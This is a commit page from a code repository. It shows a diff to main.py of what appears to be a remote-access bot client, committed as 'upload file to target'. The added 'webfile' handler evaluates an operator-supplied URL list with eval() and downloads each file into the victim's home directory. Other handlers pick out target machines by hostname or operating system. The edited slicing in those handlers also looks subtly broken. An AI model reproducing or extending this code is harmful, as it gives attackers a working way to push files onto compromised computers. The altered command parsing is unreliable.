summaryrefslogtreecommitdiff
diff options
context:
space:
mode:
authormrdog233o5 <mr.dog233o5@gmail.com>2023-09-01 10:24:42 +0800
committermrdog233o5 <mr.dog233o5@gmail.com>2023-09-01 10:24:42 +0800
commit9e2a6dda35b26560a34dd93781162bfd67515461 (patch)
tree1fe82482bfedd0ff54a410a95a3fc7aa80e529a9
parentad81e6f3c23075b2c7e562a0bd284814c1045d90 (diff)
upload file to target
-rw-r--r--.DS_Storebin6148 -> 6148 bytes
-rw-r--r--main.py13
2 files changed, 9 insertions, 4 deletions
diff --git a/.DS_Store b/.DS_Store
index ed8d18e..f39cdc4 100644
--- a/.DS_Store
+++ b/.DS_Store
Binary files differ
diff --git a/main.py b/main.py
index 103c6e4..122da9a 100644
--- a/main.py
+++ b/main.py
@@ -62,8 +62,13 @@ while True:
if command.startswith("webfile "):
localcmd = command.split(maxsplit=1)
files = eval(localcmd[1])
- #for fileUrl in files:
- # print(fileUrl)
+ for fileUrl in files:
+ fileData = get(fileUrl).content
+ fileName = os.path.basename(fileUrl)
+ filePath = os.path.expanduser("~")
+ with open(f"{filePath}/{fileName}", 'wb') as f:
+ f.write(fileData)
+ f.close()
old_command = commandId
#filename = os.path.basename(localcmd[1])
#print(filename)
@@ -71,7 +76,7 @@ while True:
if command.startswith("exename "):
localcmd = command.split()
if localcmd[1] == hostname:
- del localcmd[:2]
+ del localcmd[2]
localcmd = ' '.join(localcmd)
else:
old_command = commandId
@@ -79,7 +84,7 @@ while True:
if command.startswith("exeos "):
localcmd = command.split()
if localcmd[1] == platform:
- del localcmd[:2]
+ del localcmd[2]
localcmd = ' '.join(localcmd)
else:
old_command = commandId